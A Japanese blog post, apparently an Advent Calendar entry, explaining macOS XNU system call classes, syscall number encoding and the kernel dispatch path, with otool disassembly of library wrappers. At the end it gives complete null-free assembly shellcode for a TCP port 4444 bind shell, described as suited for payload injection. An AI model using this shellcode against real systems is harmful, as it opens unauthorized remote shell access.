これはmacOS(XNU)Advent Calendar 初日の記事です
間違い等ありましたら, ご指摘お願い仕ります.
SYSCALL_CLASS_*
macOSのカーネルであるXNUはハイブリッドカーネルであるため, 実際のカーネル部分(Mach)は, 必要最低限の機能しか提供しません(例えば, 仮想メモリやtaskのスケジューリング, IPC機能など).
このMachレイヤーの上に, FreeBSDの流れを汲んだコンポーネント1などが搭載され, XNUが構成されています.
macOSはUNIXであり, x86_64 SYSV ABIに則った形でfork(2), read(2), open(2), socket(2)などといったシステムコールを用いて, ユーザモードからカーネルのAPIを用いることができます.
しかしながら, これらUNIXシステムコールの他に, その下に位置するMachとインタラクトするシステムコールも存在し2, さらにはアーキテクチャ依存のもの(Machine dependent → Machdep), そして診断目的(Diagnostic)のものまで用意されています. すなわち, XNUには4つのシステムコール・クラスが存在していることになります.
ご存知の通り, x86_64でシステムコールを使う(Ring-3からRing-0へ行く)際は, SYSCALL
命令が唯一の(?)3入り口であり, このCPU命令が発行されると, %RCXにユーザ空間の*%RIPが, %R11に%RFLAGS*が保存され, あらかじめWRMSR
命令で設定された, 0xC0000082番(IA32_LSTAR)のMSRに保存されているアドレスへジャンプします.
これは, 上に挙げたどのクラスのシステムコールを試みても, SYSCALL
でたどり着くアドレスは同じであること意味します. もちろん, システムコールの(おおまかな)目的が異なるのですから, 最終的にはそれぞれ違ったルーティンへと飛ばしてやらなければいけません.
i386の時代は, ソフトウェア割り込みINT
命令のオペランドに, それぞれ異なる値(0x80, 0x81, 0x82, 0x83)を入れてやればよかったのですが, オペランドをとらないSYSCALL
では残念ながらそうもいきません.
XNUはこれを処理するため, それぞれのクラスに1から4までの番号を割り振っています. これはXNUのソースのosfmk/mach/i386/syscall_sw.hで確認できます.
# define SYSCALL_CLASS_NONE 0 /* Invalid */
# define SYSCALL_CLASS_MACH 1 /* Mach */
# define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
# define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
# define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
# define SYSCALL_CLASS_IPC 5 /* Mach IPC */
NONE
とIPC
は無視して構いません. SYSCALL_CLASS_UNIX
を例にとりましょう.
ユーザ空間からUNIXシステムコールを呼びたい場合, システムコール番号を格納する*%RAXレジスタにはまず, 2 << 24
= 0x2000000
が入ります. この24という数値は, 同じファイルに定義された, SYSCALL_CLASS_SHIFT
というマクロです.
次に各システムコールの, 本来のシステムコール番号と%RAXを論理和に取ります. この番号はXNUソース内bsd/kern/syscalls.masterおよび, macOS内の/path/to/MacOSX.sdk/usr/include/sys/syscall.h
にて確認できます 4.
例えばwrite(2)
なら番号は4
ですから, SYSCALL
命令時の%RAX*の値は(0x2 << 24) | 4 = 0x2000004
になります.
もちろんこんなまわくどいことをせずに, MOVL $0x2000004, %EAX
としてもいいわけです.
あとは他のUN*Xシステムと同様に, %RDI, %RSI, %RDX, %R10, %R8, %R9レジスタに引数を入れてSYSCALL
命令を発行することになります.
ちなみに, Linuxはx86_64システムコールの引数はレジスタ渡しで6つまでという決まりがありますが, macOSでは普通の関数呼び出しと同様に, スタックにもう2つ引数を取ることができます 5(#447 connectx(2)など).
SYSCALL
から先はどうなっているか
次にSYSCALL
命令は, WRMSR
で指定された, hi64_syscallに飛びます.
ここからJMP
を繰り返し,
hi64_syscall
→
L_dispatch
→
ks_dispatch
→
ks_dispatch_user
→
L_dispatch_64bit
→
L_common_dispatch
→
hndl_syscall
へと辿り着きます.
またL_dispatch_64bit
内では, ユーザ空間からレジスタを通して渡されたシステムコールの引数を含む汎用レジスタの値が, x86_saved_state_t
の形式に沿うようにスタックに積まれていき, その構造体にはメモリアドレス*(%R15)*を通してアクセスすることができます.
ここで先程左シフトされていたSYSCALL_CLASS_*
がCMP
され, それぞれのクラスを司る関数シンボルへとジャンプすることになります.
/*
* We can be here either for a mach, unix machdep or diag syscall,
* as indicated by the syscall class:
*/
movl R64_RAX(%r15), %eax /* syscall number/class */
movl %eax, %edx
andl $(SYSCALL_CLASS_MASK), %edx /* syscall class */
cmpl $(SYSCALL_CLASS_MACH<<SYSCALL_CLASS_SHIFT), %edx
je EXT(hndl_mach_scall64)
cmpl $(SYSCALL_CLASS_UNIX<<SYSCALL_CLASS_SHIFT), %edx
je EXT(hndl_unix_scall64)
cmpl $(SYSCALL_CLASS_MDEP<<SYSCALL_CLASS_SHIFT), %edx
je EXT(hndl_mdep_scall64)
cmpl $(SYSCALL_CLASS_DIAG<<SYSCALL_CLASS_SHIFT), %edx
je EXT(hndl_diag_scall64)
UNIXシステムコール(SYSCALL_CLASS_UNIX
)の場合, hndl_unix_scall64
へ次の制御が移ります. ここで, 関数unix_syscall64が引数*%R15*と共に呼び出され, ようやくアセンブリの世界からCの世界へと抜け出します. 他のクラスも似たような処理を通じて, Cで書かれたコードへ制御が移ります. 今回はここから先の処理については触れません.
ライブラリのラッパー関数を見る
ライブラリ内の実装を確認してみましょう. Command Line ToolsあるいはXcodeをインストールすると, 逆アセンブルコマンドのotool
が使えるようになります. /usr/lib/system/libsystem_kernel.dylib
からwrite(2)
を探してみると,
% otool -arch x86_64 -xvV /usr/lib/system/libsystem_kernel.dylib | grep "^_write:$" -A8
_write:
0000000000004050 movl $0x2000004, %eax
0000000000004055 movq %rcx, %r10
0000000000004058 syscall
000000000000405a jae 0x4064
000000000000405c movq %rax, %rdi
000000000000405f jmp _cerror
0000000000004064 retq
_rename:
macOS 10.15でi386バイナリが実行できなくなりましたが, 相変わらず共有ライブラリ(dylib)はFatバイナリのままです. それはさておき, 0x4050
では先述のとおり, %RAX(または*%EAX*)レジスタに先程の論理和がMOV
されています.
余談ですが, write(2)
は引数が3つで*%R10レジスタは使われないのに, このラッパーライブラリ関数に渡された(とLibcが思い込んでいる)%RCX内の引数が%R10*にMOV
されています.
基本的にApple Libcは, 引数の個数にかかわらず, "第4引数"のMOV
を行うみたいです. 記憶が正しければ, Glibcは引数の個数4つ以上かを判定して, このMOV
をしていた気がするのですが… 6
閑話休題
SYSCALL_CLASS_MACH
の場合も同様です. 名の知れた(?)Mach trapの一つに, BSDレイヤーにおけるPIDに対応するtask portを返す, task_for_pid
というものがあります. 同じく, otool
で探してみると…
% otool -arch x86_64 -xvV /usr/lib/system/libsystem_kernel.dylib | grep "^_task_for_pid:$" -A6
_task_for_pid:
00000000000012f8 movq %rcx, %r10
00000000000012fb movl $0x100002d, %eax
0000000000001300 syscall
0000000000001302 retq
0000000000001303 nop
_pid_for_task:
%EAXレジスタに(SYSCALL_CLASS_MACH << SYSCALL_CLASS_SHIFT) | 0x2d
が入っていることがわかるかと思います.
Machdep callについて
x86_64 macOS 10.15.1では, 以下のシステムコール番号が有効となっています.
番号 | システムコール名 |
---|---|
0 | hv_task_trap |
1 | hv_thread_trap |
3 | _thread_set_tsd_base |
5 | i386_set_ldt |
6 | i386_get_ldt |
この内, 5と6はi386のdeprecationに伴って, i386用のmachdep callからポートされたものと考えられます. 正確な時期はわかりませんが, macOS 10.14.xまでは, 5と6の番号は割り当てられていませんでした.
次は0と1に注目してください. hv_*
とあるように, これらのシステムコールは, Hypervisor.frameworkに関するものです. Intel VT-xを利用するためには特権命令であるVMX命令を発行する必要がありますから, SYSCALL
でプロテクションリングの内部へと入ることになります.
詳しくは, 次回以降の記事にて覗いてみることにします. 興味のあるmacOSユーザの方は, otool
で/System/Library/Frameworks/Hypervisor.framework/Hypervisor
を逆アセンブルして, SYSCALL
命令発行の周辺で何が起きているかをご覧になってみてください.
SYSCALL
の使い方の例
プログラム例を挙げるのを忘れていました. すみません.
CPUID
のベンダ表示
// clang -o cpuid cpuid.s
.section __TEXT,__text
.globl _main
_main:
xorl %eax, %eax
cpuid
leaq output(%rip), %rsi
movl %ebx, 12(%rsi) // 0x756e6547 == "Genu"
movl %edx, 16(%rsi) // 0x49656e69 == "ineI"
movl %ecx, 20(%rsi) // 0x6c65746e == "ntel"
movb $2, %al // SYSCALL_CLASS_UNIX
shll $24, %eax // SYSCALL_CLASS_SHIFT
orl $4, %eax // SYS_write
xorl %edi, %edi
movb $1, %dil // STDOUT_FILENO
xorl %edx, %edx
movb $26, %dl // buffer size to write
syscall
movb $2, %al // SYSCALL_CLASS_UNIX
shll $24, %eax // SYSCALL_CLASS_SHIFT
orl $1, %eax // SYS_exit
xorl %edi, %edi // EXIT_SUCCESS
syscall
.section __DATA,__data
output:
.ascii "Vendor ID: 'xxxxxxxxxxxx'\n"
TCP bind shell
MOVL $0x2000004, %EAX
のように明示的に即値を代入してしまうと, shellcodeには0x00が含まれてしまうため, fgets(3)などでペイロードを流し込む際にそこで入力が終了するとみなされてしまいます.
これを避けるために, SETUP_RAX
というマクロを用いています.
/*
* Null-free TCP/4444 bind shell for macOS in 168 bytes.
*
* % uname -v
* Darwin Kernel Version 19.0.0: Thu Oct 17 16:17:15 PDT 2019; root:xnu-6153.41.3~29/RELEASE_X86_64
* % sw_vers
* ProductName: Mac OS X
* ProductVersion: 10.15.1
* BuildVersion: 19B88
* % clang -o bindshell bindshell.s
* % ./bindshell & ; nc 127.0.0.1 4444
*/
# include <sys/syscall.h>
# define STACKSZ 64
# define BINSH 0x68732f2f6e69622f
# define SETUP_RAX(n) \
xorl %eax, %eax ; \
movb $2, %al ; \
shll $24, %eax ; \
orl $(n), %eax
.section __TEXT,__text
.globl _main
_main:
/*
pushq %rbp
movq %rsp, %rbp
subq $(STACKSZ), %rsp
*/
/* addr @ -16(%rbp) */
movb $2, -15(%rbp)
movw $0x5c11, -14(%rbp) // htons(4444)
xorl %eax, %eax
movl %eax, -12(%rbp)
/* socket(AF_INET, SOCK_STREAM, 0); */
xorl %edx, %edx
movl %edx, %esi
movl %edx, %edi
movb $1, %sil
movb $2, %dil
SETUP_RAX(SYS_socket)
syscall
movl %eax, -20(%rbp) // sockfd
/* bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); */
xorl %edx, %edx
movb $16, %dl
leaq -16(%rbp), %rsi
movl -20(%rbp), %edi
SETUP_RAX(SYS_bind)
syscall
/* listen(sockfd, 0); */
xorl %esi, %esi
movl -20(%rbp), %edi
SETUP_RAX(SYS_listen)
syscall
/* accept(sockfd, NULL, NULL); */
xorl %edx, %edx
xorl %esi, %esi
movl %esi, -28(%rbp) // (int i) for later use
movl -20(%rbp), %edi
SETUP_RAX(SYS_accept)
syscall
// movl %eax, -24(%rbp) // connfd
/* dup2(connfd, 0); dup2(connfd, 1); dup2(connfd, 2); */
xorl %esi, %esi
movl %eax, %edi
L0:
SETUP_RAX(SYS_dup2)
syscall
incb %sil
cmp $3, %sil
jl L0
/* execve("/bin/sh", NULL, NULL); */
xorl %eax, %eax
movl %eax, -32(%rbp)
movabsq $(BINSH), %rax
movq %rax, -40(%rbp)
xorl %edx, %edx
xorl %esi, %esi
leaq -40(%rbp), %rdi
SETUP_RAX(SYS_execve)
syscall
/* The code doesn't reach here */
参考文献
Levin, J. (2013). Mac OS X and iOS Internals. John Wiley & Sons, pp.266-284. [online] Available at: http://newosxbook.com/MOXiI.pdf